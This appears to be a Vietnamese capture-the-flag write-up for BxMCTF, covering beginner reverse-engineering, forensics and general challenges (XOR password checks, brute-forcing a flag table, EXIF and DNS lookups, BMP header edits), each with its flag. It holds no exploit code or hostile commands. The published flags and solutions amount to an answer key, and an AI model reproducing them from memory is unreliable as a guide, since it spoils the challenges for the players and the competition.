            'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
            'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y'
    };

    public static void main(String[] args) throws Exception {
        System.out.println("Welcome to the LMD Machine 3000!");
        System.out.println("Please enter an integer: ");

        int input = readInt();

        System.out.println();

        if (input < 1 || input > table.length) {
            System.out.println("Invalid Input");
            System.exit(0);
        }

        System.out.print("ctf{");

        for (int i = 0, idx = 1; i < 15; ++i) {
            idx = (idx * input) % table.length;
            System.out.print(table[idx]);
        }

        System.out.println("}");
    }

    static int readInt() {return FastReader.readInt();}
    static long readLong() {return FastReader.readLong();}
    static double readDouble() {return FastReader.readDouble();}
    static float readFloat() {return FastReader.readFloat();}
    static String readLine() {return FastReader.readLine();}
    static String next() {return FastReader.next();}
    static boolean readBool() {return FastReader.readBool();}

    static class FastReader extends PrintWriter {
        private final InputStream stream;
        private final byte[] buf = new byte[1 << 16];
        private int curChar, numChars;
        public FastReader() {this(System.in, System.out);}
        public FastReader(InputStream i, OutputStream o) {super(o);stream = i;}
        public FastReader(String i, String o) throws IOException {
            super(new FileWriter(o)); stream = new FileInputStream(i);
        }
        private int readByte() {
            if (numChars == -1) {throw new InputMismatchException();}
            if (curChar >= numChars) {
                curChar = 0;
                try {numChars = stream.read(buf);
                }catch(Exception e){throw new InputMismatchException();}
                if (numChars == -1) {return -1;}
            }
            return buf[curChar++];
        }
        public String next() {
            int c; do {c = readByte();} while (c <= ' ');
            StringBuilder res = new StringBuilder();
            do {res.appendCodePoint(c);c = readByte();} while (c > ' ');
            return res.toString();
        }
        public String readLine() {
            int c; do {c = readByte();} while (isEndLine(c));
            StringBuilder res = new StringBuilder();
            do {res.appendCodePoint(c);c = readByte();} while (c >= ' ');
            return res.toString();
        }
        public int readInt() {
            int c, sgn = 1, res = 0;
            do {c = readByte();} while (c <= ' ');
            if (c == '-') {sgn = -1;c = readByte();}
            do {
                if (c < '0' || c > '9') {throw new InputMismatchException();}
                res = 10 * res + c - '0';c = readByte();
            } while (c > ' ');
            return res * sgn;
        }

        /**
         * Psst
         *
         * https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharing
         */

        public double readDouble() {return Double.parseDouble(next());}
        public long readLong() {return Long.parseLong(next());}
        public float readFloat() {return Float.parseFloat(next());}
        public boolean readBool() {return Boolean.parseBoolean(next());}
        boolean isEndLine(int c) {return c == '\n' || c == '\r' || c == -1;}
    }
} 

  • đoạn mã trên cho ta biết input ta sẽ nằm trong khoảng 0<1107

ta có thể copy cái table r dùng python đếm số ký tự

  • thì khi cho chạy source đưa input từ 0 đến 1106 ta sẽ có tương ứng 1107 cái flag khác nhau =)))))
  • ta sẽ viết code lưu 1107 cái flag vào 1 tệp .txt
table= [
            'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
            '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
            's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
            'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
            '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
            'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
            '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
            '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
            'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
            'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
            '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
            'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
            's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
            'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
            'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
            '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
            'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
            'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
            'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
            'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
            '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
            'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
            'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
            'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
            '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
            's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
            'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
            'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
            'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
            'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
            'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
            'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
            'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
            'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
            'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
            'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
            'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
            '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
            '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
            '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
            'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
            'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
            'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
            'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
            'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
            'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
            'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
            'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
            'H', '3', 'I', 'W', 'Y']
s=""
file = open("output.txt", "w")
for input_ in range(1,len(table)+1):
    idx=1
    s+="ctf{"
    for i in range(0,15):
        idx = (idx * input_) % len(table)
        s+=(table[idx])
    s+="}"
    file.write(str(input_)+ "  "+s+"\n")
    s=""
file.close()
  • ngoài ra trong source mình decode ra có 1 đường dẫn cho ta hint
  • mà đường dẫn đó lại cho ta thêm 1 loại mã hoá
  • decode ta được:
Roses are red,
Violets are blue,
If one wants to pick the correct flag,
Then they should seek the Unix Epoch as a clue
  • hint cũng chưa rõ lắm
  • sau 1 thời gian thì tác giả lại cho thêm hint:
The hint points to the year of the thing everyone should seek as a clue.
  • lúc này lờ mờ đoán được sẽ liên quan đến con số 1970 (con số Unix Epoch - gọi cách khác là Unix Time)
  • thì trong file flag.txt chứa 1107 cái flag, ta ctrl+F tìm 1970 thì có đúng 1 flag này dính
  • submit luôn

FLAG: ctf{hjwilj111970djs}


x86?

  • Check file và chạy thử

Screenshot from 2023-06-04 03-57-21

  • Khái quát sơ thử thách này: đây là một thử thách có vẻ không khó lắm, thử thách yêu cầu nhập password đúng (có lẽ đó là flag).
  • Tôi sẽ sử dụng công cụ IDA để giải quyết:
    • Load file vào IDA và như thường lệ tôi sẽ check xem những strings được sử dụng, từ đó xem chúng như là gợi ý tìm đến đoạn code trọng tâm để dễ dàng giải quyết vấn đề

image

image

  • Thật thất vọng không đúng như dự đoán trước đó:)))), tôi đã không tìm được đoạn code chứa chuỗi Incorrect password
  • Hướng giải khác, tôi tìm hàm main và xem chúng làm những gì:
    • Bằng những thao tác đơn giản tôi tìm được đoạn mã (vì đoạn mã asm khá dài nên tôi sẽ viết lại bằng code c++):
  • Thử thách:
#include <iostream>
#include <string>
using namespace std;
int main() {
    const unsigned char hexString[] = {
        0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15,
        0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19,
        0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47,
        0x18, 0x7E, 0x0A, 0x7D, 0x0
    };

    int length = sizeof(hexString) / sizeof(hexString[0]);
    string input;
    cout<<"Enter the password:"<<endl;
    cin>>input;
    for (int i=0;i<length-1;i++)
    {
        if (char(hexString[i]^hexString[i+1])!=input[i])
        {
           cout<<"Incorrect password"<<endl;
           return 0;
        }
    }
    cout<<"That's correct!";
    return 0;
}
  • Giải quyết:
#include <iostream>
#include <string>
using namespace std;
int main() {
    const unsigned char hexString[] = {
        0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15,
        0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19,
        0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47,
        0x18, 0x7E, 0x0A, 0x7D, 0x0
    };

    int length = sizeof(hexString) / sizeof(hexString[0]);
    string output="";
    for (int i=0;i<length-1;i++)
    {
        output+=char(hexString[i]^hexString[i+1]);
    }
    cout<<output;
    return 0;
}

FLAG: ctf{4nt1_d1s4sm_m34sur3s_ftw}


MCV5U

  • Thử thách này cần được cải tiến để có thể giảm thời gian chạy qua đó thu về được flag.
  • Giải pháp:
import hashlib
from functools import lru_cache
from time import time
import math

SIZE: int = 300000
VERIFY_KEY: str = "46e1b8845b40bc9d977b8932580ae44c"


# Fast Fourier Transform
def padding(arr: list[int], target_length: int) -> list[int]:
    padded: list[int] = arr + [0] * (target_length - len(arr))
    return padded


def fft(arr: list[complex]) -> list[complex]:
    n: int = len(arr)
    if n <= 1:
        return arr

    even: list[complex] = fft(arr[0::2])
    odd: list[complex] = fft(arr[1::2])

    twiddle_factor: list[complex] = [
        math.cos(2 * math.pi * k / n) - 1j * math.sin(2 * math.pi * k / n)
        for k in range(n // 2)
    ]
    transformed: list[complex] = [
        even[i] + twiddle_factor[i] * odd[i] for i in range(n // 2)
    ] + [even[i] - twiddle_factor[i] * odd[i] for i in range(n // 2)]

    return transformed


# inverse fft
def ifft(arr: list[int]) -> list[complex]:
    n = len(arr)
    conjugate: list[complex] = [complex(i.real, -i.imag) for i in arr]
    transformed: list[complex] = fft(conjugate)
    inverse: list[complex] = [complex(i.real, -i.imag) / n for i in transformed]
    return inverse


@lru_cache(maxsize=None)
def Faster(n: int) -> int:
    global A, B
    # make length equal to a power of 2
    powerOfTow: int = int(2 ** math.ceil(math.log2(n * 2 - 1)))
    first: list[int] = padding(A, powerOfTow)
    second: list[int] = padding(B, powerOfTow)

    # Apply FFT
    fft1: list[complex] = fft(first)
    fft2: list[complex] = fft(second)
    FFT: list[complex] = [a * b for a, b in zip(fft1, fft2)]  # multiply Them
    ANS: list[complex] = ifft(FFT)  # inverse FFT
    Target: int = n * 2 - 1
    ANS: list[complex] = ANS[:Target]
    val: int = int(sum([i.real for i in ANS[:Target]]))
    return val


A: list[int] = [0] * SIZE
B: list[int] = [0] * SIZE

document1 = open("Document 1.txt", "r")
nums1: list[str] = document1.readlines()
document1.close()
idx: int = 0

for num in nums1:
    A[idx] = int(num.strip())
    idx += 1

document2 = open("Document 2.txt", "r")
nums2: list[str] = document2.readlines()
document2.close()
idx: int = 0

for num in nums2:
    B[idx] = int(num.strip())
    idx += 1
assert len(A) == len(B)

begin: float = time()
val: int = Faster(SIZE)
print(f"SUM = {val}")
end: float = time()
print(f"TIME EXECUTION = {end-begin}")
val: str = str(val)
md5: str = hashlib.md5(val.encode()).hexdigest()
print(f"md5 = {md5}")
assert md5 == VERIFY_KEY, "NOPE"
key: str = str(hashlib.sha256(val.encode()).digest())
print(f"GG THE KEY IS => {key}")
flag: str = (
    "ctf{" + "".join(list([x for x in key if x.isalpha() or x.isnumeric()])) + "}"
)

print(f"FLAG IS => {flag}")
print("TIME COMPLEXITY => O(N*log(N))")
//trích nguồn "mohammad olimat" 11:29 5/6/2023

FLAG: ctf{bx8b2xdcx80x8bxafx90x16x0fxc9Cx87x99Gx8cx1dxb9x8exb4xfaLx93xcfx9dxcfyx13xb5Lxee}


ICS5U

  • Decode tệp dữ liệu (sử dụng base32) ta được gợi ý:

I wonder what are the first four numbers of the same type as in "puzzle.php" that are greater than 1 trillion

  • Vậy chỉ cần tìm được 4 số thỏa mãn điều kiện theo gợi ýỞ đây tôi sẽ gợi ý cho bạn 4 số đó là:
    • 1000151515441
    • 1000321709401
    • 1000642078801
    • 1001102784001

FLAG: ctf{2029395652961987395}


GENERAL

Survey

FLAG: ctf{h0p3_u_3nj0y3d}


Welcome to BxMCTF!

  • Bài này cho trẻ em chơi vô chall là thấy cờ

FLAG:ctf{check_out_our_sponsors!}


New Website

  • Chall cho ta 1 web lỗi như sau :DNS_PROBE_FINISHED_NXDOMAIN

  • thì suy ra tìm trong các bản ghi dns thôi:

FLAG:ctf{w41t_wh4ts_4_txt_r3c0rd}


GeoGuessr IRL

  • đề cho ta 1 hình
  • lên gg lens tìm:

hint: cầu brooklyn

  • mô tả:
Geoguessr's NMPZ tolerances are way too loose. It's supposed to be the hardest mode, but they need a devil difficulty: you can be over 40 meters away and still get a perfect score of 5000!

In this challenge, 40+ meters is no more. If NMPZ was hard, this is devil mode. You must be precise to 3 meters. Find the what3words location of this photo and wrap it with ctf{}.

For example, if the words are apple.pear.peach, submit ctf{apple.pear.peach}.
  • link web 3 chữ
  • sau 1 hồi căng mắt tìm kiếm và brute flag thì dc kết quả này

👉link

FLAG: ctf{happen.system.privately}


FORENSICS

Selfie

  • Chall đưa cho ta 1 cái hình như thế này

  • Nhìn giống thằng @wan vãi ò :v:
  • Ta dùng exiftool để lấy infor anh @wan

  • Ta thu được License: Y3Rme25xaUoyQnQyaVZEa2d6fQ
  • Decode Base64 là thu được flag thuiiii

FLAG: ctf{nqiJ2Bt2iVDkgz}


Street View

  • đề cho ta 1 file hình ảnh

BxMCTF-Foren-2

  • theo thói quen mở exiftool
  • và nhận đc 2 dòng số có vẻ giống toạ độ

dùng tool online tự convert cho mình kkk
link tool

  • lên gg map paste toạ độ đó vô và nhận được hình ảnh 3 chiều y hệt hình ảnh

  • location
  • flag ta cần là 1 domain của công ty sở hữu toà nhà đó
Submit the domain name of the company that owns the building as the flag, wrapped in ctf{}

FLAG: ctf{walmart.ca}


Secrets

  • Chall đưa cho ta 1 file .bmp, nếu mở bằng Win bình thường thì sẽ không được hỗ trợ, nên bạn phải mở bằng Photopea
  • Mở trên đó, ta thấy được 1 ảnh

  • Hurray :v: FLag chính là ctf{totally_the_correct_flag}
  • Lừa thui iem ơi, flag thực sự là ở ngoài cái ảnh này, và ta cần phải thay đổi lại kích thước của ảnh gốc bằng cách lên Hexedit để thay đổi
  • Ta cần phải thay đổi giá trị của F4 và 01, để thay đổi kích thước. Ta cho luôn là C6 02 để thu được 1 ảnh hình vuông có các cạnh bằng nhau
  • Sau đó mở lại trên Photopea thui

  • Đây mới chính là ảnh gốc thực sự hihi :v
  • Bạn cũng có thể tham khảo wu khác ở đây

FLAG: ctf{1m4g3_s3cr3ts}